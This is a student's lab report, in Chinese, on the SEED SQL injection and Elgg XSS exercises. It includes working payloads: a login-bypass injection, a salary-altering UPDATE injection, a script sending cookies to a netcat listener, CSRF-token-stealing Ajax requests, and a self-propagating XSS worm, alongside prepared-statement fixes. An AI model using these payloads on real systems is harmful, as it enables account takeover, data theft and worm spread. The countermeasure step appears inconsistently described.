20252916 2025-2026-2 《网络攻防实践》第10周作业
20252916 2025-2026-2 《网络攻防实践》第10周作业
1.知识点梳理与总结
1.1 实验内容
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
-
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
-
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
-
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
-
SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
-
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
-
弹窗显示cookie信息:将cookie信息显示。
-
窃取受害者的cookies:将cookie发送给攻击者。
-
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
-
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
1.2 知识点梳理与总结
-
SQL 注入攻击
SQL 注入是一种代码注入技术。它的本质是 Web 应用程序没有对用户的输入进行严格的过滤或转义,就直接将其拼接到后台的 SQL 数据库查询语句中。根本原因是系统将用户提交的“数据”错误地当成了“可执行的代码”。攻击者通过精心构造包含 SQL 关键字(如
',OR,#,UNION等)的输入,强行改变了原本 SQL 语句的语法逻辑,从而欺骗数据库执行恶意指令。 -
对 SELECT 语句的注入(身份伪造 / 越权登录):
- 场景: 登录界面。后台逻辑通常是
SELECT * FROM users WHERE username='$user' AND password='$password'。 - 攻击手法: 攻击者在用户名处输入
admin' #。 - 原理: 单引号
'闭合了前面的字符串;井号#(MySQL中的注释符)将后面的密码验证逻辑AND password=...全部注释掉。最终数据库执行的是SELECT * FROM users WHERE username='admin',从而在不知道密码的情况下,直接以 admin 身份登录。
- 场景: 登录界面。后台逻辑通常是
-
对 UPDATE 语句的注入(数据篡改 / 提权):
- 场景: 个人资料修改页面。
- 攻击手法: 在允许修改的字段(如昵称)中输入类似
Hacker', salary='9999999' WHERE username='admin' #。 - 原理: 利用逗号
,逃逸出当前字段,强行插入系统中未开放修改权限的敏感字段(如薪水 salary)。同时可以重写WHERE条件,甚至跨越权限去修改管理员的密码。
-
SQL 对抗与防御(终极修复方案):
- 防御方法:使用预编译语句
- 防御原理: 预编译机制将 SQL 语句的处理分为两步:先发送 SQL 逻辑骨架让数据库编译(锁定逻辑结构),再将用户输入作为纯粹的数据参数填入。此时,即使用户输入了
'或#,数据库也只会把它当成普通的字符串数据处理,彻底剥夺了其作为“代码”执行的可能。
-
XSS 攻击
XSS 是一种发生在用户浏览器端的注入攻击。攻击者利用网站的漏洞,将恶意的 JavaScript 脚本注入到网页中。当其他正常用户访问该网页时,恶意脚本就会在他们的浏览器中静默执行。因为脚本运行在受害者的浏览器上下文中,它可以窃取受害者的敏感信息(如 Cookie)、伪造受害者发起请求(如发帖、加好友、转账),甚至将其浏览器变成攻击他人的跳板。
-
XSS 蠕虫 (XSS Worm)
- 定义: XSS 蠕虫是一种具备自我复制和病毒式传播能力的跨站脚本。
- 蠕虫的运作机制(核心步骤):
- 自我读取 (Self-Replication): 恶意脚本通过 DOM 树(如
document.getElementById().innerHTML)读取它自身的完整源代码。 - 伪造身份 (Token Stealing): 提取当前受害者的安全令牌(如 Elgg 系统中的
__elgg_token),以绕过 CSRF 防御。 - 感染宿主 (Infection): 构造一个修改个人资料的 Ajax 请求,将“恶意代码自身”悄悄塞进受害者的个人简介(Profile)中并保存。
- 自我读取 (Self-Replication): 恶意脚本通过 DOM 树(如
- 传播链条: 黑客 Alice 在主页种下蠕虫 $\rightarrow$ Boby 访问 Alice 主页,Boby 中招,其主页被感染 $\rightarrow$ Charlie 访问 Boby 主页,Charlie 中招... 以此类推,呈指数级爆发。
2.实验过程
前置准备工作
下载王昺喆同学分享的SEEDUbuntu文件并安装






成功安装
修改主机名
hostname 2916xc

2.1 SEED SQL注入攻击与防御实验
2.1.1 熟悉SQL语句
-
输入
mysql -u root -p登录数据库,密码为seedubuntu
-
输入
show databases;查看mysql中的数据库
-
输入
use Users;、show tables;查看Users数据库和数据表
-
查询当前表的所有内容
select * from credential;

-
输入条件,查询Name为‘Alice的相关信息。
select * from credential where Name = 'Alice';
2.1.2 对SELECT语句的SQL注入攻击
-
浏览器打开 www.SEEDLabSQLInjection.com 网页

-
右键查看网页源码


可以发现登陆的表单中使用 get 请求方法访问
unsafe_home.php -
根据路径/var/www/SQLInjection/unsafe_home.php打开这个文件


-
通过分析代码以及视频的帮助可以知道:
WHERE name= '$input_uname' and Password='$hashed_pwd'";对于这条命令,如果用户在网页上输入用户名
Alice,密码123,那么变量$input_uname的值就是Alice,SQL语句就是WHERE name= 'Alice' and Password='hashed_123';PHP 在这里做的事情叫做“字符串直接拼接”。它根本不管
$input_uname里面装的是正常的英文字母,还是具有破坏性的 SQL 指令符号,它只负责把用户填的东西原封不动地塞进那两个单引号' '之间。所以当我们在网页的用户名输入框里填入攻击载荷:
admin' #此时,变量$input_uname的值就变成了admin' #。PHP 再次进行“无脑拼接”,将这个值塞入原来的语句中。最终送给 MySQL 数据库执行的真实语句变成了什么样:
SELECT id, name ... FROM credential WHERE name= 'admin' #' and Password='$hashed_pwd'MySQL 数据库收到这条长长的指令后,它是这样理解的:
name= 'admin':数据库看到这里,认为查询条件是寻找名字叫 admin 的用户。刚才刚才写的前一个单引号,被输入的后一个单引号给完美闭合了!#:数据库碰到了井号。在 MySQL 的语法中,#代表单行注释。这意味着,从#开始,这一行后面的所有文字,统统被当作备注,不需要执行。' and Password='$hashed_pwd':这段原本极其重要的密码校验逻辑,因为跟在了#后面,瞬间被数据库彻底无视。
经过此次注入,原本那条要求“账号+密码”双重验证的语句,在数据库眼里硬生生退化成了:
SELECT id, name ... FROM credential WHERE name= 'admin'只要数据库里存在
admin这个用户,这条查询语句就会返回true,并把 admin 的所有信息全部打包返回给$result。随后 PHP 代码往下走,判定查询成功,直接就可以以 admin 的身份登录进入了系统!

至此对于SELECT语句的SQL注入攻击成功。
2.1.3 对UPDATE语句的SQL注入攻击
-
首先查看 Edit_Profile 页面的源代码。

可以看见这个表单是以 get 方式将数据发到 unsafe_edit_backend.php 页面。
-
进入如下路径
/var/www/SQLInjection/unsafe_edit_backend.php,打开查看这个文件。
-
通过分析代码以及AI的帮助可以知道:
需要分析的核心代码是:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";系统原本的逻辑是:让当前登录的用户(通过 session 获取的
$id锁定)去修改属于他自己的昵称、邮箱、地址等信息。当前用户 ID 是 Admin,他在“昵称”框里输入了Alice,拼接出的正常语句是:UPDATE credential SET nickname='Alice',email='...',... where ID=Admin;由于末尾有
where ID=Admin这个约束,用户只能老老实实修改自己的资料。但是由于代码是按顺序用逗号
,隔开各个字段的,我们可以利用单引号'提前闭合昵称,并用逗号自己加上新的字段。- 在“昵称”框输入:
', Salary='20252916' where name='Admin'#
最后被数据库执行的只有
UPDATE credential SET nickname='', Salary='20252916' where name='Admin',直接把薪资涨到20252916结果如下

至此对于UPDATE语句的SQL注入攻击成功。
- 在“昵称”框输入:
2.1.4 SQL对抗:修复上述SQL注入攻击漏洞
-
将unsafe_home.php提高文件权限
sudo su chmod u+w unsafe_home.php vim unsafe_home.php
修改unsafe_home.php中的语句:
$sql = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name= ? and Password=?;"); $sql->bind_param("ss",$input_uname,$hashed_pwd);利用预编译语句来解决 SQL 注入,
原理如下:以前的漏洞代码就像是“把信件内容和邮寄地址写在了同一张纸上”,邮局(数据库)很容易把信件内容当成指令去执行。而预编译机制强制改变了数据库处理 SQL 语句的流程,将它分成了严格的两步:
第一步:发送“骨架”并锁定逻辑 (
prepare)$sql = $conn->prepare("SELECT ... FROM credential WHERE name= ? and Password=?;");- 系统先发给 MySQL 数据库一个带问号(
?)的语句骨架。 - 数据库收到后,会立刻对这个骨架进行语法解析和编译,生成执行计划。此时,SQL 的逻辑结构(要查什么表、要匹配什么字段)已经被彻底锁死了。
第二步:发送“数据”填空 (
bind_param)$sql->bind_param("ss", $input_uname, $hashed_pwd);ss表示接下来要绑定的两个参数都是字符串(String, String)。- 当你再次输入恶意载荷
admin' #时,这个载荷被作为纯粹的数据(Data)发送给刚才编译好的骨架里的?。 - 因为逻辑结构已经锁死,数据库此时会把
admin' #完完全全当成一个名字叫做 "admin' #" 的奇怪字符串去数据库里搜索。那些单引号'和井号#瞬间没用了,退化成了普通的标点符号,再也无法越权修改 SQL 指令了!

- 系统先发给 MySQL 数据库一个带问号(
-
测试,输入Admin’#


什么都查询不到,漏洞修复成功!!!
2.2 SEED XSS跨站脚本攻击实验
2.2.1 发布恶意消息,显示警报窗口
-
在浏览器访问 http://www.xsslabelgg.com

-
使用账号:Alice,密码:seedalice 进行登录。

-
点击Alice的头像,进入edit profile界面

-
输入XSS攻击代码:
<script>alert("20252916xc");</script>
-
然后保存,弹出xss警告窗口

2.2.2 弹窗显示cookie信息:将cookie信息显示
将Brief description中的信息更改,点击保存则可以弹出cookie信息。
<script> alert(document.cookie);</script>


2.2.3 窃取受害者的cookies:将cookie发送给攻击者
-
在终端中输入
nc -l 5555 -v来监听端口5555
-
在Brief description中编写代码,js插入img标签:
<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>
保存后,可以在终端中看到

2.2.4 成为受害者的朋友
-
在alice账户中选择“more”-“Members”,按F12查看网络流信息,选择boby添加为朋友,找编号信息。

-
删除好友回到原始状态。根据上述这个信息构造payload,并且在about me中填写后保存。
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token; Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
保存之后可以在Alice主页中看见已经与boby成为好友了

2.2.5 修改受害者的信息
-
在About me中填写如下代码
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content=token+ts+"name="+userName+"&description=<p>I am 20252916xuchao!!!!.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; var aliceGuid=44; if(elgg.session.user.guid!=aliceGuid){ //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
然后保存之后登录Boby的账户,可以看到,Boby的主页被修改:

2.2.6 编写XSS蠕虫
-
在Alice的About Me中填写如下代码:
<script id="worm" type="text/javascript"> window.onload = function(){ var headerTag = "<script id=\'worm\' type=\'text/javascript\'>"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "&name=" + userName + "&description=<p>20252916xc"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) var aliceGuid=44; if(elgg.session.user.guid!=aliceGuid){ var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
-
这段代码是一个真正的 XSS 蠕虫。它不仅会修改受害者的个人资料,还会把代码自己复制并植入到受害者的主页里,让受害者变成新的“传染源”,从而在整个社交网络中呈指数级病毒式传播。

-
登录Boby账号,访问Alice主页。发现已经被感染,j简介变了。

2.3.7 编写XSS蠕虫
-
打开网址www.xsslabelgg.com/admin,登录Admin账号,密码为seedelgg。

-
找到Account->Administration->plugins,找到HTMLawed,从activate改为Deactivate:

-
再次登录Boby账号,发现XSS蠕虫攻击已经失效

至此实验圆满完成!!!
3.学习中遇到的问题及解决
问题1:在一开始装上seed虚拟机时,分辨率特别小,打开浏览器做实验有点不方便。
解决办法:在网上搜寻了,尝试了安装vmtools工具,但是好像是版本太低不兼容,还是没有解决,最后在seed虚拟机的设置的Displays中修改分辨率为1920*768(16:10),这样显示出来就比较正常了。

问题2:在实验任务2的后续实验中,需要粘贴大量的代码,一不小心就出错了,然而vmtools安装不上,做起来很不方面
解决办法:在问了AI之后,发现有云便签这个东西,就是在线网站输入内容,在虚拟机的浏览器打开同样的网址就能看见了。我用的是 https://webnote.cc/ ,后面只要加上任意的域名例如https://webnote.cc/xuchao就可以共享了。


问题3:在2.2.4实验中我编辑了代码但是保存之后并没有成功添加boby为好友,反而只是显示了一段文本


解决办法:通过问AI才发现我插入代码是是富文本编辑器模式,他把我的代码识别成一段文字内容了,我要的是HTML语言,应该在编辑页面点击右上角一个Edit HTML小按钮即可成功。

4.学习感悟、思考等
这次Web应用程序安全攻防虽然不是很难,但是步骤繁琐且较多,还是耗费了一点时间去解决遇到的问题的。但是通过此次实验,使得我对于常见的SQL语句有了一些了解与认识,对于SQL注入攻击以及XSS跨站脚本是如何在社交网络中实现指数级病毒式传播的有了更加深刻的认识。同时对于安装不了vmtools,粘贴不了代码这个问题,我寻求其他解决办法,收获了遇到问题要多找方法,多尝试不怕出错、不怕困难的感悟。

浙公网安备 33010602011771号